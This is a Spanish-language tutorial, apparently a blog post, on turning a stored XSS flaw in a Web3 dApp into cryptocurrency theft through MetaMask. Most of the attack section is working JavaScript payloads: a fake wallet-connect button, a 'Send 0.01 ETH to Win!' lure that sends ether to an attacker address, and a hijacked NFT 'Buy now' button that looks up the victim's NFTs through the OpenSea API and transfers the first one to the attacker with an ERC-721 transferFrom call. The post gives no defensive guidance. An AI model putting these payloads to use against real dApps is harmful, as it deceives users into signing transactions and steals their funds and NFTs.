Explotación de Cross Site Scripting (XSS) en Web3

Dec 30 2022
Introducción Cross-Site Scripting (XSS) es un tipo de ataque cibernético en el que un atacante inyecta código malicioso en un sitio web o aplicación web. El código inyectado generalmente tiene la forma de un script, que luego es ejecutado por el navegador web de la víctima.

Introducción

Cross-Site Scripting (XSS) es un tipo de ataque cibernético en el que un atacante inyecta código malicioso en un sitio web o aplicación web. El código inyectado generalmente tiene la forma de un script, que luego es ejecutado por el navegador web de la víctima. Esto puede permitir al atacante robar información confidencial, como credenciales de inicio de sesión o datos financieros, o realizar otras acciones maliciosas en nombre de la víctima.

Introducción al contrato inteligente

Un "contrato inteligente" es simplemente un programa que se ejecuta en la cadena de bloques de Ethereum. Es una colección de código (sus funciones) y datos (su estado) que reside en una dirección específica en la cadena de bloques de Ethereum.

Los contratos inteligentes son un tipo de cuenta Ethereum. Esto significa que tienen saldo y pueden ser objeto de transacciones. Sin embargo, no están controlados por un usuario, sino que se implementan en la red y se ejecutan según lo programado. Luego, las cuentas de usuario pueden interactuar con un contrato inteligente mediante el envío de transacciones que ejecutan una función definida en el contrato inteligente. Los contratos inteligentes pueden definir reglas, como un contrato regular, y aplicarlas automáticamente a través del código. Los contratos inteligentes no se pueden eliminar de forma predeterminada y las interacciones con ellos son irreversibles.

¿Qué es una transacción de cadena de bloques?

Las transacciones ya no se limitan únicamente a las transferencias financieras y, con el desarrollo de las redes de cadena de bloques, ahora puede usar la cadena de bloques en otras transferencias que no sean financieras, por lo que cualquier modificación del estado de la cadena de bloques ahora se denomina transacción, ya sea una transferencia financiera a alguien o su interacción con un contrato inteligente.

Aplicaciones descentralizadas (dApps) y contratos inteligentes

Mucha gente usa indistintamente los términos contratos inteligentes y aplicaciones descentralizadas (dApps), pero esto es incorrecto. Un contrato inteligente es simplemente un fragmento de código que se almacena en la cadena de bloques. Sin embargo, una dApp conecta el frontend con el backend y puede usar varios contratos inteligentes para ejecutarse.

Cartera MetaMask en resumen

  • MetaMask es una billetera de criptomonedas que permite a los usuarios almacenar Ether y otros tokens ERC-20.
  • La billetera también se puede usar para interactuar con aplicaciones descentralizadas.

Autenticación Web3

La mayoría de las aplicaciones descentralizadas (dApps) no autentican a los usuarios por nombre de usuario/contraseña, sino que usan direcciones criptográficas para identificar a los usuarios, por lo que en nuestro caso, incluso si dApp usa cookies para rastrear las actividades de los usuarios fuera de la cadena, no sería útil para robar usuarios. cookies, porque las operaciones en blockchain requerían la clave privada del usuario para firmar cada transacción (esta clave privada existe solo en la computadora del usuario y es imposible robarla con un ataque como XSS).

¿Qué podemos hacer?

En este tema, explicaré algunas ideas que puede explotar con un ataque XSS para lograr la mayor gravedad posible.

Usaré la billetera MetaMask durante esta explicación, porque es la billetera más popular.

Antes de empezar

Haremos nuestra prueba en la red testnet de Goerli en lugar de en la red principal, por lo que no tenemos que lidiar con dinero real.

Entonces, necesitamos activar la red Goerli en nuestra billetera.

Puede obtener ETH de prueba para Goerli Network desde aquí .

¡Conéctate a MetaMask!

Esta primera parte de nuestro ataque es hacer que el usuario conecte su billetera al sitio web de dApp. Lo mejor aquí es cuando MetaMask le pide al usuario que apruebe la conexión, le mostrará la URL del sitio web de dApp, esto hará que el usuario se sienta un poco confiado.

El siguiente código JavaScript le pedirá al usuario que conecte su billetera:

const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
  ethereum.request({ method: "eth_requestAccounts" });
});

Ahora, el usuario está conectado al sitio web de dApp. Después de eso, crearemos una carga útil para realizar una transacción que enviará dinero para el atacante.

La siguiente carga útil es realizar una transacción que enviará 0.01 ETH de la víctima al atacante:

const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
  const transactionParameters = {
    nonce: "0x00",
    gasPrice: "0x244AC6D",
    gas: "0x12A52",
    to: "0x0000000000000000000000000000000000000000",
    from: ethereum.selectedAddress,
    value: "0x2386F26FC10000",
    data: "0x00",
    chainId: "0x5",
  };

  const txHash = await ethereum.request({
    method: "eth_sendTransaction",
    params: [transactionParameters],
  });
});

Como puede ver, este ataque necesita la interacción del usuario, pero no olvide que en la primera parte, MetaMask mostrará la URL del usuario del sitio web vulnerable y esto le dará confianza si no tiene experiencia técnica.

Ahora, expliquemos más detalles sobre la carga útil anterior.

para transactionParametersobjeto, tenemos algunas cosas importantes que debes saber:

1- to: el valor de este parámetro es la dirección del destinatario (puede ser una clave pública de su cuenta o una dirección de contrato).

2- value: la cantidad de ether (en Hex) que quieres enviar.

3- data: este parámetro es útil cuando queremos hacer interacciones de contrato inteligente (hablaré de eso en un momento).

4- chainId: aquí usamos Goerli testnet, y el chainId es 0x5 (cada red tiene un chainId único).

Puede encontrar el chainId para las otras redes aquí .

Una nueva explotación

Lo importante antes de determinar el exploit que proporcionará, es conocer la lógica comercial de la dApp, por ejemplo, si encontramos un XSS almacenado en el mercado de NFT en la página de detalles de NFT (que le muestra detalles sobre NFT específico), en ese caso no usaremos el exploit anterior, sino que haremos un nuevo escenario.

La mayoría de los mercados de NFT tienen una "página de detalles de NFT" como esta:

Entonces, cuando hace clic en el botón "Comprar ahora", aparecerá una ventana emergente de MetaMask para aprobar la transacción (este es el comportamiento normal). Abusaremos de eso ahora, por lo que debemos cambiar este comportamiento.

Primero explicaré el escenario de ataque y luego escribiremos la explotación. Cuando el usuario hace clic en "Comprar ahora", queremos hacer una llamada a la API detrás de escena hasta que obtengamos los NFT que posee el usuario, luego nos transferiremos la propiedad de NFT cuando confirme la transacción a través de MetaMask.

Usaremos la API de OpenSea para realizar una solicitud de API para obtener todos los NFT de los usuarios.

const req = new XMLHttpRequest();
req.open(
  "GET",
  `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();

req.onreadystatechange = async () => {
  if (req.readyState === 4) {
    const data = JSON.parse(req.response);
    const SC_address = data["assets"][0]["asset_contract"]["address"];
    const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
  }

SC_address: Esta variable contendrá la dirección del contrato inteligente (dirección NFT).

tokenId: Esta variable contendrá el tokenId del NFT.

Ahora, crearemos una nueva transacción que hará que el usuario apruebe la transferencia de su NFT al atacante:

const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
  nonce: "0x00",
  gasPrice: "0x244AC6D",
  gas: "0x12A52",
  to: SC_address,
  from: ethereum.selectedAddress,
  value: "0x00",
  data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
  chainId: "0x5",
};
const txHash = await ethereum.request({
  method: "eth_sendTransaction",
  params: [transactionParameters],
});

El objeto data in transactionParametersrepresenta la información que necesitamos para llamar a la transferFrom función (Método ERC-721).

Más detalles sobre los datos:

23b872dd representan el MethodID de la función. transferFrom

${ethereum.selectedAddress.substr(2)}representan la dirección del usuario.

${“0”.repeat(64 — tokenId.length)}: aquí calculamos la longitud de tokenId, luego lo restaremos de 64 hasta completar el resto de datos en ceros.

Ahora, nuestra transacción está lista, pongámoslo todo junto.

document.getElementById("buy").addEventListener("click", async () => {
  const req = new XMLHttpRequest();
  req.open(
    "GET",
    `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
  );
  req.send();
  req.onreadystatechange = async () => {
    if (req.readyState === 4) {
      const data = JSON.parse(req.response);
      const SC_address = data["assets"][0]["asset_contract"]["address"];
      const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
      const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
      const transactionParameters = {
        nonce: "0x00",
        gasPrice: "0x244AC6D",
        gas: "0x12A52",
        to: SC_address,
        from: ethereum.selectedAddress,
        value: "0x00",
        data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
        chainId: "0x5",
      };
      const txHash = await ethereum.request({
        method: "eth_sendTransaction",
        params: [transactionParameters],
      });
    }
  };
});

Gracias por su lectura, espero que mi historia haya sido útil.